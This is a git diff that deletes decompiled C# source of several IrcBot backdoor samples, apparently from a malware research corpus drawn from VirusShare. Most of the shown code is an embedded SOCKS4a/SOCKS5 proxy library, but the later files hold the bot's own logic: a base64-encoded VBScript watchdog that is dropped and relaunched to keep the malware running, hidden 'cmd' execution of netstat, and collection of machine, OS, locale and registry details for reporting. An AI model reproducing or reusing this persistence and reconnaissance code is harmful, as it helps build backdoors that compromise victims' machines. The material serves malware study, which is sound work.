- this._asyncWorker.DoWork += new DoWorkEventHandler(this.CreateConnectionAsync_DoWork);
- this._asyncWorker.RunWorkerCompleted += new RunWorkerCompletedEventHandler(this.CreateConnectionAsync_RunWorkerCompleted);
- this._asyncWorker.RunWorkerAsync((object) new object[2]
- {
- (object) destinationHost,
- (object) destinationPort
- });
- }
-
- private void CreateConnectionAsync_DoWork(object sender, DoWorkEventArgs e)
- {
- try
- {
- object[] objArray = (object[]) e.Argument;
- e.Result = (object) this.CreateConnection((string) objArray[0], (int) objArray[1]);
- }
- catch (Exception ex)
- {
- this._asyncException = ex;
- }
- }
-
- private void CreateConnectionAsync_RunWorkerCompleted(
- object sender,
- RunWorkerCompletedEventArgs e)
- {
- if (this.CreateConnectionAsyncCompleted == null)
- return;
- this.CreateConnectionAsyncCompleted((object) this, new CreateConnectionAsyncCompletedEventArgs(this._asyncException, this._asyncCancelled, (TcpClient) e.Result));
- }
- }
-}
diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Starksoft/Net/Proxy/Socks4aProxyClient.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Starksoft/Net/Proxy/Socks4aProxyClient.cs
deleted file mode 100644
index 9fe45dcd..00000000
--- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Starksoft/Net/Proxy/Socks4aProxyClient.cs
+++ /dev/null
@@ -1,85 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: Starksoft.Net.Proxy.Socks4aProxyClient
-// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
-// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
-
-using System;
-using System.Net.Sockets;
-using System.Text;
-
-namespace Starksoft.Net.Proxy
-{
- public class Socks4aProxyClient : Socks4ProxyClient
- {
- private const string PROXY_NAME = "SOCKS4a";
-
- public Socks4aProxyClient()
- {
- }
-
- public Socks4aProxyClient(TcpClient tcpClient)
- : base(tcpClient)
- {
- }
-
- public Socks4aProxyClient(string proxyHost, string proxyUserId)
- : base(proxyHost, proxyUserId)
- {
- }
-
- public Socks4aProxyClient(string proxyHost, int proxyPort, string proxyUserId)
- : base(proxyHost, proxyPort, proxyUserId)
- {
- }
-
- public Socks4aProxyClient(string proxyHost)
- : base(proxyHost)
- {
- }
-
- public Socks4aProxyClient(string proxyHost, int proxyPort)
- : base(proxyHost, proxyPort)
- {
- }
-
- public override string ProxyName => "SOCKS4a";
-
- internal override void SendCommand(
- NetworkStream proxy,
- byte command,
- string destinationHost,
- int destinationPort,
- string userId)
- {
- if (userId == null)
- userId = "";
- byte[] numArray1 = new byte[4]
- {
- (byte) 0,
- (byte) 0,
- (byte) 0,
- (byte) 1
- };
- byte[] destinationPortBytes = this.GetDestinationPortBytes(destinationPort);
- byte[] bytes1 = Encoding.ASCII.GetBytes(userId);
- byte[] bytes2 = Encoding.ASCII.GetBytes(destinationHost);
- byte[] buffer = new byte[10 + bytes1.Length + bytes2.Length];
- buffer[0] = (byte) 4;
- buffer[1] = command;
- destinationPortBytes.CopyTo((Array) buffer, 2);
- numArray1.CopyTo((Array) buffer, 4);
- bytes1.CopyTo((Array) buffer, 8);
- buffer[8 + bytes1.Length] = (byte) 0;
- bytes2.CopyTo((Array) buffer, 9 + bytes1.Length);
- buffer[9 + bytes1.Length + bytes2.Length] = (byte) 0;
- proxy.Write(buffer, 0, buffer.Length);
- this.WaitForData(proxy);
- byte[] numArray2 = new byte[8];
- proxy.Read(numArray2, 0, 8);
- if (numArray2[1] == (byte) 90)
- return;
- this.HandleProxyCommandError(numArray2, destinationHost, destinationPort);
- }
- }
-}
diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Starksoft/Net/Proxy/Socks5ProxyClient.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Starksoft/Net/Proxy/Socks5ProxyClient.cs
deleted file mode 100644
index 6660ac1b..00000000
--- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Starksoft/Net/Proxy/Socks5ProxyClient.cs
+++ /dev/null
@@ -1,437 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: Starksoft.Net.Proxy.Socks5ProxyClient
-// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
-// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
-
-using System;
-using System.ComponentModel;
-using System.Globalization;
-using System.Net;
-using System.Net.Sockets;
-using System.Text;
-
-namespace Starksoft.Net.Proxy
-{
- public class Socks5ProxyClient : IProxyClient
- {
- private const string PROXY_NAME = "SOCKS5";
- private const int SOCKS5_DEFAULT_PORT = 1080;
- private const byte SOCKS5_VERSION_NUMBER = 5;
- private const byte SOCKS5_RESERVED = 0;
- private const byte SOCKS5_AUTH_NUMBER_OF_AUTH_METHODS_SUPPORTED = 2;
- private const byte SOCKS5_AUTH_METHOD_NO_AUTHENTICATION_REQUIRED = 0;
- private const byte SOCKS5_AUTH_METHOD_GSSAPI = 1;
- private const byte SOCKS5_AUTH_METHOD_USERNAME_PASSWORD = 2;
- private const byte SOCKS5_AUTH_METHOD_IANA_ASSIGNED_RANGE_BEGIN = 3;
- private const byte SOCKS5_AUTH_METHOD_IANA_ASSIGNED_RANGE_END = 127;
- private const byte SOCKS5_AUTH_METHOD_RESERVED_RANGE_BEGIN = 128;
- private const byte SOCKS5_AUTH_METHOD_RESERVED_RANGE_END = 254;
- private const byte SOCKS5_AUTH_METHOD_REPLY_NO_ACCEPTABLE_METHODS = 255;
- private const byte SOCKS5_CMD_CONNECT = 1;
- private const byte SOCKS5_CMD_BIND = 2;
- private const byte SOCKS5_CMD_UDP_ASSOCIATE = 3;
- private const byte SOCKS5_CMD_REPLY_SUCCEEDED = 0;
- private const byte SOCKS5_CMD_REPLY_GENERAL_SOCKS_SERVER_FAILURE = 1;
- private const byte SOCKS5_CMD_REPLY_CONNECTION_NOT_ALLOWED_BY_RULESET = 2;
- private const byte SOCKS5_CMD_REPLY_NETWORK_UNREACHABLE = 3;
- private const byte SOCKS5_CMD_REPLY_HOST_UNREACHABLE = 4;
- private const byte SOCKS5_CMD_REPLY_CONNECTION_REFUSED = 5;
- private const byte SOCKS5_CMD_REPLY_TTL_EXPIRED = 6;
- private const byte SOCKS5_CMD_REPLY_COMMAND_NOT_SUPPORTED = 7;
- private const byte SOCKS5_CMD_REPLY_ADDRESS_TYPE_NOT_SUPPORTED = 8;
- private const byte SOCKS5_ADDRTYPE_IPV4 = 1;
- private const byte SOCKS5_ADDRTYPE_DOMAIN_NAME = 3;
- private const byte SOCKS5_ADDRTYPE_IPV6 = 4;
- private string _proxyHost;
- private int _proxyPort;
- private string _proxyUserName;
- private string _proxyPassword;
- private Socks5ProxyClient.SocksAuthentication _proxyAuthMethod;
- private TcpClient _tcpClient;
- private BackgroundWorker _asyncWorker;
- private Exception _asyncException;
- private bool _asyncCancelled;
-
- public Socks5ProxyClient()
- {
- }
-
- public Socks5ProxyClient(TcpClient tcpClient) => this._tcpClient = tcpClient != null ? tcpClient : throw new ArgumentNullException(nameof (tcpClient));
-
- public Socks5ProxyClient(string proxyHost)
- {
- this._proxyHost = !string.IsNullOrEmpty(proxyHost) ? proxyHost : throw new ArgumentNullException(nameof (proxyHost));
- this._proxyPort = 1080;
- }
-
- public Socks5ProxyClient(string proxyHost, int proxyPort)
- {
- if (string.IsNullOrEmpty(proxyHost))
- throw new ArgumentNullException(nameof (proxyHost));
- if (proxyPort <= 0 || proxyPort > (int) ushort.MaxValue)
- throw new ArgumentOutOfRangeException(nameof (proxyPort), "port must be greater than zero and less than 65535");
- this._proxyHost = proxyHost;
- this._proxyPort = proxyPort;
- }
-
- public Socks5ProxyClient(string proxyHost, string proxyUserName, string proxyPassword)
- {
- if (string.IsNullOrEmpty(proxyHost))
- throw new ArgumentNullException(nameof (proxyHost));
- if (proxyUserName == null)
- throw new ArgumentNullException(nameof (proxyUserName));
- if (proxyPassword == null)
- throw new ArgumentNullException(nameof (proxyPassword));
- this._proxyHost = proxyHost;
- this._proxyPort = 1080;
- this._proxyUserName = proxyUserName;
- this._proxyPassword = proxyPassword;
- }
-
- public Socks5ProxyClient(
- string proxyHost,
- int proxyPort,
- string proxyUserName,
- string proxyPassword)
- {
- if (string.IsNullOrEmpty(proxyHost))
- throw new ArgumentNullException(nameof (proxyHost));
- if (proxyPort <= 0 || proxyPort > (int) ushort.MaxValue)
- throw new ArgumentOutOfRangeException(nameof (proxyPort), "port must be greater than zero and less than 65535");
- if (proxyUserName == null)
- throw new ArgumentNullException(nameof (proxyUserName));
- if (proxyPassword == null)
- throw new ArgumentNullException(nameof (proxyPassword));
- this._proxyHost = proxyHost;
- this._proxyPort = proxyPort;
- this._proxyUserName = proxyUserName;
- this._proxyPassword = proxyPassword;
- }
-
- public string ProxyHost
- {
- get => this._proxyHost;
- set => this._proxyHost = value;
- }
-
- public int ProxyPort
- {
- get => this._proxyPort;
- set => this._proxyPort = value;
- }
-
- public string ProxyName => "SOCKS5";
-
- public string ProxyUserName
- {
- get => this._proxyUserName;
- set => this._proxyUserName = value;
- }
-
- public string ProxyPassword
- {
- get => this._proxyPassword;
- set => this._proxyPassword = value;
- }
-
- public TcpClient TcpClient
- {
- get => this._tcpClient;
- set => this._tcpClient = value;
- }
-
- public TcpClient CreateConnection(string destinationHost, int destinationPort)
- {
- if (string.IsNullOrEmpty(destinationHost))
- throw new ArgumentNullException(nameof (destinationHost));
- if (destinationPort > 0)
- {
- if (destinationPort <= (int) ushort.MaxValue)
- {
- try
- {
- if (this._tcpClient == null)
- {
- if (string.IsNullOrEmpty(this._proxyHost))
- throw new ProxyException("ProxyHost property must contain a value.");
- if (this._proxyPort <= 0 || this._proxyPort > (int) ushort.MaxValue)
- throw new ProxyException("ProxyPort value must be greater than zero and less than 65535");
- this._tcpClient = new TcpClient();
- this._tcpClient.Connect(this._proxyHost, this._proxyPort);
- }
- this.DetermineClientAuthMethod();
- this.NegotiateServerAuthMethod();
- this.SendCommand((byte) 1, destinationHost, destinationPort);
- return this._tcpClient;
- }
- catch (Exception ex)
- {
- throw new ProxyException(string.Format((IFormatProvider) CultureInfo.InvariantCulture, "Connection to proxy host {0} on port {1} failed.", new object[2]
- {
- (object) Utils.GetHost(this._tcpClient),
- (object) Utils.GetPort(this._tcpClient)
- }), ex);
- }
- }
- }
- throw new ArgumentOutOfRangeException(nameof (destinationPort), "port must be greater than zero and less than 65535");
- }
-
- private void DetermineClientAuthMethod()
- {
- if (this._proxyUserName != null && this._proxyPassword != null)
- this._proxyAuthMethod = Socks5ProxyClient.SocksAuthentication.UsernamePassword;
- else
- this._proxyAuthMethod = Socks5ProxyClient.SocksAuthentication.None;
- }
-
- private void NegotiateServerAuthMethod()
- {
- NetworkStream stream = this._tcpClient.GetStream();
- byte[] buffer1 = new byte[4]
- {
- (byte) 5,
- (byte) 2,
- (byte) 0,
- (byte) 2
- };
- stream.Write(buffer1, 0, buffer1.Length);
- byte[] buffer2 = new byte[2];
- stream.Read(buffer2, 0, buffer2.Length);
- byte num = buffer2[1];
- if (num == byte.MaxValue)
- {
- this._tcpClient.Close();
- throw new ProxyException("The proxy destination does not accept the supported proxy client authentication methods.");
- }
- if (num == (byte) 2 && this._proxyAuthMethod == Socks5ProxyClient.SocksAuthentication.None)
- {
- this._tcpClient.Close();
- throw new ProxyException("The proxy destination requires a username and password for authentication.");
- }
- if (num != (byte) 2)
- return;
- byte[] destinationArray = new byte[this._proxyUserName.Length + this._proxyPassword.Length + 3];
- destinationArray[0] = (byte) 5;
- destinationArray[1] = (byte) this._proxyUserName.Length;
- Array.Copy((Array) Encoding.ASCII.GetBytes(this._proxyUserName), 0, (Array) destinationArray, 2, this._proxyUserName.Length);
- destinationArray[this._proxyUserName.Length + 2] = (byte) this._proxyPassword.Length;
- Array.Copy((Array) Encoding.ASCII.GetBytes(this._proxyPassword), 0, (Array) destinationArray, this._proxyUserName.Length + 3, this._proxyPassword.Length);
- }
-
- private byte GetDestAddressType(string host)
- {
- IPAddress address = (IPAddress) null;
- if (!IPAddress.TryParse(host, out address))
- return 3;
- switch (address.AddressFamily)
- {
- case AddressFamily.InterNetwork:
- return 1;
- case AddressFamily.InterNetworkV6:
- return 4;
- default:
- throw new ProxyException(string.Format((IFormatProvider) CultureInfo.InvariantCulture, "The host addess {0} of type '{1}' is not a supported address type. The supported types are InterNetwork and InterNetworkV6.", new object[2]
- {
- (object) host,
- (object) System.Enum.GetName(typeof (AddressFamily), (object) address.AddressFamily)
- }));
- }
- }
-
- private byte[] GetDestAddressBytes(byte addressType, string host)
- {
- switch (addressType)
- {
- case 1:
- case 4:
- return IPAddress.Parse(host).GetAddressBytes();
- case 3:
- byte[] destAddressBytes = new byte[host.Length + 1];
- destAddressBytes[0] = Convert.ToByte(host.Length);
- Encoding.ASCII.GetBytes(host).CopyTo((Array) destAddressBytes, 1);
- return destAddressBytes;
- default:
- return (byte[]) null;
- }
- }
-
- private byte[] GetDestPortBytes(int value) => new byte[2]
- {
- Convert.ToByte(value / 256),
- Convert.ToByte(value % 256)
- };
-
- private void SendCommand(byte command, string destinationHost, int destinationPort)
- {
- NetworkStream stream = this._tcpClient.GetStream();
- byte destAddressType = this.GetDestAddressType(destinationHost);
- byte[] destAddressBytes = this.GetDestAddressBytes(destAddressType, destinationHost);
- byte[] destPortBytes = this.GetDestPortBytes(destinationPort);
- byte[] buffer = new byte[4 + destAddressBytes.Length + 2];
- buffer[0] = (byte) 5;
- buffer[1] = command;
- buffer[2] = (byte) 0;
- buffer[3] = destAddressType;
- destAddressBytes.CopyTo((Array) buffer, 4);
- destPortBytes.CopyTo((Array) buffer, 4 + destAddressBytes.Length);
- stream.Write(buffer, 0, buffer.Length);
- byte[] numArray = new byte[(int) byte.MaxValue];
- stream.Read(numArray, 0, numArray.Length);
- if (numArray[1] == (byte) 0)
- return;
- this.HandleProxyCommandError(numArray, destinationHost, destinationPort);
- }
-
- private void HandleProxyCommandError(
- byte[] response,
- string destinationHost,
- int destinationPort)
- {
- byte num1 = response[1];
- byte num2 = response[3];
- string str1 = "";
- short num3 = 0;
- switch (num2)
- {
- case 1:
- byte[] address1 = new byte[4];
- for (int index = 0; index < 4; ++index)
- address1[index] = response[index + 4];
- str1 = new IPAddress(address1).ToString();
- num3 = BitConverter.ToInt16(new byte[2]
- {
- response[9],
- response[8]
- }, 0);
- break;
- case 3:
- int int32 = Convert.ToInt32(response[4]);
- byte[] bytes = new byte[int32];
- for (int index = 0; index < int32; ++index)
- bytes[index] = response[index + 5];
- str1 = Encoding.ASCII.GetString(bytes);
- num3 = BitConverter.ToInt16(new byte[2]
- {
- response[6 + int32],
- response[5 + int32]
- }, 0);
- break;
- case 4:
- byte[] address2 = new byte[16];
- for (int index = 0; index < 16; ++index)
- address2[index] = response[index + 4];
- str1 = new IPAddress(address2).ToString();
- num3 = BitConverter.ToInt16(new byte[2]
- {
- response[21],
- response[20]
- }, 0);
- break;
- }
- string str2;
- switch (num1)
- {
- case 1:
- str2 = "a general socks destination failure occurred";
- break;
- case 2:
- str2 = "the connection is not allowed by proxy destination rule set";
- break;
- case 3:
- str2 = "the network was unreachable";
- break;
- case 4:
- str2 = "the host was unreachable";
- break;
- case 5:
- str2 = "the connection was refused by the remote network";
- break;
- case 6:
- str2 = "the time to live (TTL) has expired";
- break;
- case 7:
- str2 = "the command issued by the proxy client is not supported by the proxy destination";
- break;
- case 8:
- str2 = "the address type specified is not supported";
- break;
- default:
- str2 = string.Format((IFormatProvider) CultureInfo.InvariantCulture, "that an unknown reply with the code value '{0}' was received by the destination", new object[1]
- {
- (object) num1.ToString((IFormatProvider) CultureInfo.InvariantCulture)
- });
- break;
- }
- throw new ProxyException(string.Format((IFormatProvider) CultureInfo.InvariantCulture, "The {0} concerning destination host {1} port number {2}. The destination reported the host as {3} port {4}.", (object) str2, (object) destinationHost, (object) destinationPort, (object) str1, (object) num3.ToString((IFormatProvider) CultureInfo.InvariantCulture)));
- }
-
- public bool IsBusy => this._asyncWorker != null && this._asyncWorker.IsBusy;
-
- public bool IsAsyncCancelled => this._asyncCancelled;
-
- public void CancelAsync()
- {
- if (this._asyncWorker == null || this._asyncWorker.CancellationPending || !this._asyncWorker.IsBusy)
- return;
- this._asyncCancelled = true;
- this._asyncWorker.CancelAsync();
- }
-
- private void CreateAsyncWorker()
- {
- if (this._asyncWorker != null)
- this._asyncWorker.Dispose();
- this._asyncException = (Exception) null;
- this._asyncWorker = (BackgroundWorker) null;
- this._asyncCancelled = false;
- this._asyncWorker = new BackgroundWorker();
- }
-
- public event EventHandler CreateConnectionAsyncCompleted;
-
- public void CreateConnectionAsync(string destinationHost, int destinationPort)
- {
- if (this._asyncWorker != null && this._asyncWorker.IsBusy)
- throw new InvalidOperationException("The Socks4 object is already busy executing another asynchronous operation. You can only execute one asychronous method at a time.");
- this.CreateAsyncWorker();
- this._asyncWorker.WorkerSupportsCancellation = true;
- this._asyncWorker.DoWork += new DoWorkEventHandler(this.CreateConnectionAsync_DoWork);
- this._asyncWorker.RunWorkerCompleted += new RunWorkerCompletedEventHandler(this.CreateConnectionAsync_RunWorkerCompleted);
- this._asyncWorker.RunWorkerAsync((object) new object[2]
- {
- (object) destinationHost,
- (object) destinationPort
- });
- }
-
- private void CreateConnectionAsync_DoWork(object sender, DoWorkEventArgs e)
- {
- try
- {
- object[] objArray = (object[]) e.Argument;
- e.Result = (object) this.CreateConnection((string) objArray[0], (int) objArray[1]);
- }
- catch (Exception ex)
- {
- this._asyncException = ex;
- }
- }
-
- private void CreateConnectionAsync_RunWorkerCompleted(
- object sender,
- RunWorkerCompletedEventArgs e)
- {
- if (this.CreateConnectionAsyncCompleted == null)
- return;
- this.CreateConnectionAsyncCompleted((object) this, new CreateConnectionAsyncCompletedEventArgs(this._asyncException, this._asyncCancelled, (TcpClient) e.Result));
- }
-
- private enum SocksAuthentication
- {
- None,
- UsernamePassword,
- }
- }
-}
diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Starksoft/Net/Proxy/Utils.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Starksoft/Net/Proxy/Utils.cs
deleted file mode 100644
index 5a8c91dc..00000000
--- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Starksoft/Net/Proxy/Utils.cs
+++ /dev/null
@@ -1,46 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: Starksoft.Net.Proxy.Utils
-// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
-// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
-
-using System;
-using System.Globalization;
-using System.Net;
-using System.Net.Sockets;
-
-namespace Starksoft.Net.Proxy
-{
- internal static class Utils
- {
- internal static string GetHost(TcpClient client)
- {
- if (client == null)
- throw new ArgumentNullException(nameof (client));
- string host = "";
- try
- {
- host = ((IPEndPoint) client.Client.RemoteEndPoint).Address.ToString();
- }
- catch
- {
- }
- return host;
- }
-
- internal static string GetPort(TcpClient client)
- {
- if (client == null)
- throw new ArgumentNullException(nameof (client));
- string port = "";
- try
- {
- port = ((IPEndPoint) client.Client.RemoteEndPoint).Port.ToString((IFormatProvider) CultureInfo.InvariantCulture);
- }
- catch
- {
- }
- return port;
- }
- }
-}
diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-448c534b85cdbbcea014618274d17bc74cd330d1a5c33da8acafd44514e36ed5/A.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-448c534b85cdbbcea014618274d17bc74cd330d1a5c33da8acafd44514e36ed5/A.cs
deleted file mode 100644
index b1935985..00000000
--- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-448c534b85cdbbcea014618274d17bc74cd330d1a5c33da8acafd44514e36ed5/A.cs
+++ /dev/null
@@ -1,104 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: n.A
-// Assembly: n, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
-// MVID: BFCF94BC-F711-4A63-941E-52FC7F306AC7
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.MSIL.IrcBot.rg-448c534b85cdbbcea014618274d17bc74cd330d1a5c33da8acafd44514e36ed5.exe
-
-using Microsoft.VisualBasic.CompilerServices;
-using System;
-using System.ComponentModel;
-using System.Diagnostics;
-using System.IO;
-using System.Runtime.CompilerServices;
-using System.Threading;
-using System.Windows.Forms;
-
-namespace n
-{
- public class A
- {
- [AccessedThroughProperty("B")]
- private BackgroundWorker _B;
- public static Process fj = new Process();
- private string u;
- private string z;
-
- public A()
- {
- this.B = new BackgroundWorker();
- this.u = Application.StartupPath + "\\" + Process.GetCurrentProcess().Id.ToString() + ".vbs";
- string q = n.My.Resources.Resources.Q;
- this.z = API.DEB(ref q).Replace("NJP", Application.ExecutablePath).Replace("NJF", Conversions.ToString(Process.GetCurrentProcess().Id));
- }
-
- public virtual BackgroundWorker B
- {
- get => this._B;
- [MethodImpl(MethodImplOptions.Synchronized)] set
- {
- DoWorkEventHandler workEventHandler = (DoWorkEventHandler) ((a0, a1) => this.D());
- if (this._B != null)
- this._B.DoWork -= workEventHandler;
- this._B = value;
- if (this._B == null)
- return;
- this._B.DoWork += workEventHandler;
- }
- }
-
- public void D()
- {
-label_0:
- try
- {
- File.WriteAllText(this.u, this.z);
- A.fj.StartInfo.FileName = this.u;
- A.fj.Start();
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- }
- do
- {
- try
- {
- ref byte[] local1 = ref C.Plug;
- string str1 = "plugin.C";
- ref string local2 = ref str1;
- string str2 = "Fwd";
- ref string local3 = ref str2;
- object obj = (object) new object[1]
- {
- (object) "Windows Script Host"
- };
- ref object local4 = ref obj;
- if (Operators.ConditionalCompareObjectGreater(C.inv(ref local1, ref local2, ref local3, ref local4), (object) 0, false))
- {
- A.fj.Kill();
- try
- {
- File.Delete(this.u);
- return;
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- return;
- }
- }
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- }
- Thread.Sleep(100);
- }
- while (!A.fj.WaitForExit(100));
- goto label_0;
- }
- }
-}
diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-448c534b85cdbbcea014618274d17bc74cd330d1a5c33da8acafd44514e36ed5/API.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-448c534b85cdbbcea014618274d17bc74cd330d1a5c33da8acafd44514e36ed5/API.cs
deleted file mode 100644
index 9d0b5bf2..00000000
--- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-448c534b85cdbbcea014618274d17bc74cd330d1a5c33da8acafd44514e36ed5/API.cs
+++ /dev/null
@@ -1,281 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: n.API
-// Assembly: n, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
-// MVID: BFCF94BC-F711-4A63-941E-52FC7F306AC7
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.MSIL.IrcBot.rg-448c534b85cdbbcea014618274d17bc74cd330d1a5c33da8acafd44514e36ed5.exe
-
-using Microsoft.VisualBasic;
-using Microsoft.VisualBasic.CompilerServices;
-using Microsoft.VisualBasic.MyServices;
-using n.My;
-using System;
-using System.Collections;
-using System.Diagnostics;
-using System.IO;
-using System.IO.Compression;
-using System.Runtime.InteropServices;
-using System.Text;
-
-namespace n
-{
- [StandardModule]
- internal sealed class API
- {
- private const uint LOCALE_SYSTEM_DEFAULT = 1024;
- private const uint LOCALE_SABBREVCTRYNAME = 7;
-
- public static string fx(ref Array A)
- {
- string str1;
- try
- {
- foreach (object obj in A)
- {
- string str2 = Conversions.ToString(obj);
- bool flag;
- if (Strings.InStr(str2, "Local Address") > 0)
- flag = true;
- else if (flag)
- {
- string str3;
- if (Operators.CompareString(str2, "", false) == 0)
- {
- str1 = Strings.Mid(str3, 1, str3.Length - 1);
- break;
- }
- do
- {
- str2 = Strings.Replace(str2, " ", " ");
- }
- while (Strings.InStr(str2, " ") > 0);
- string[] strArray = Strings.Split(str2);
- string str4;
- try
- {
- str4 = Strings.Split(Process.GetProcessById(Conversions.ToInteger(strArray[5])).MainModule.FileName, "\\")[Strings.Split(Process.GetProcessById(Conversions.ToInteger(strArray[5])).MainModule.FileName, "\\").Length - 1] + ":" + strArray[5];
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- str4 = Process.GetProcessById(Conversions.ToInteger(strArray[5])).ProcessName + ":" + strArray[5];
- ProjectData.ClearProjectError();
- }
- str3 = str3 + str4 + "," + strArray[1] + "," + strArray[2] + "," + strArray[3].ToLower().Replace(MyProject.Computer.Name.ToLower(), "127.0.0.1") + "," + strArray[4] + "!";
- }
- }
- }
- finally
- {
- IEnumerator enumerator;
- if (enumerator is IDisposable)
- (enumerator as IDisposable).Dispose();
- }
- return str1;
- }
-
- public static string Gt()
- {
- Process process = Process.Start(new ProcessStartInfo()
- {
- UseShellExecute = false,
- RedirectStandardError = true,
- RedirectStandardInput = true,
- RedirectStandardOutput = true,
- WindowStyle = ProcessWindowStyle.Hidden,
- CreateNoWindow = true,
- FileName = "cmd"
- });
- process.StandardInput.WriteLine("netstat -o");
- process.StandardInput.WriteLine("exit");
- StreamReader streamReader = new StreamReader(process.StandardOutput.BaseStream);
- Array A = (Array) Strings.Split(process.StandardOutput.ReadToEnd(), "\r\n");
- return API.fx(ref A);
- }
-
- public static byte[] ZIP(byte[] Byt, ref bool Compress)
- {
- if (Compress)
- {
- MemoryStream memoryStream = new MemoryStream();
- GZipStream gzipStream = new GZipStream((Stream) memoryStream, CompressionMode.Compress, true);
- gzipStream.Write(Byt, 0, Byt.Length);
- gzipStream.Dispose();
- memoryStream.Position = 0L;
- byte[] buffer = new byte[(int) memoryStream.Length + 1];
- memoryStream.Read(buffer, 0, buffer.Length);
- memoryStream.Dispose();
- return buffer;
- }
- MemoryStream memoryStream1 = new MemoryStream(Byt);
- GZipStream gzipStream1 = new GZipStream((Stream) memoryStream1, CompressionMode.Decompress);
- byte[] buffer1 = new byte[4];
- memoryStream1.Position = memoryStream1.Length - 5L;
- memoryStream1.Read(buffer1, 0, 4);
- int int32 = BitConverter.ToInt32(buffer1, 0);
- memoryStream1.Position = 0L;
- byte[] array = new byte[int32 - 1 + 1];
- gzipStream1.Read(array, 0, int32);
- gzipStream1.Dispose();
- memoryStream1.Dispose();
- return array;
- }
-
- public static string FEN(byte[] data) => Convert.ToBase64String(data);
-
- public static byte[] FDE(string base64) => Convert.FromBase64String(base64);
-
- public static string ENB(ref string s) => Convert.ToBase64String(Encoding.UTF8.GetBytes(s));
-
- public static string DEB(ref string s) => Encoding.UTF8.GetString(Convert.FromBase64String(s));
-
- [DllImport("kernel32.dll")]
- private static extern int GetLocaleInfo(
- uint Locale,
- uint LCType,
- [Out] StringBuilder lpLCData,
- int cchData);
-
- private static string Gcc(uint lInfo)
- {
- StringBuilder lpLCData = new StringBuilder(256);
- int localeInfo = API.GetLocaleInfo(1024U, lInfo, lpLCData, lpLCData.Capacity);
- return localeInfo > 0 ? lpLCData.ToString().Substring(0, localeInfo - 1) : string.Empty;
- }
-
- public static string Gc() => API.Gcc(7U);
-
- public static string A0()
- {
- RegistryProxy registry = MyProject.Computer.Registry;
- string str1 = B.PC + "\r\n";
- string str2;
- try
- {
- str2 = str1 + API.Gc() + "\r\n";
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- str2 = str1 + "X\r\n";
- ProjectData.ClearProjectError();
- }
- string str3;
- try
- {
- str3 = str2 + MyProject.Computer.Info.OSFullName + "\r\n";
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- str3 = str2 + "X\r\n";
- ProjectData.ClearProjectError();
- }
- string str4;
- try
- {
- foreach (string valueName in MyProject.Computer.Registry.CurrentUser.GetValueNames())
- {
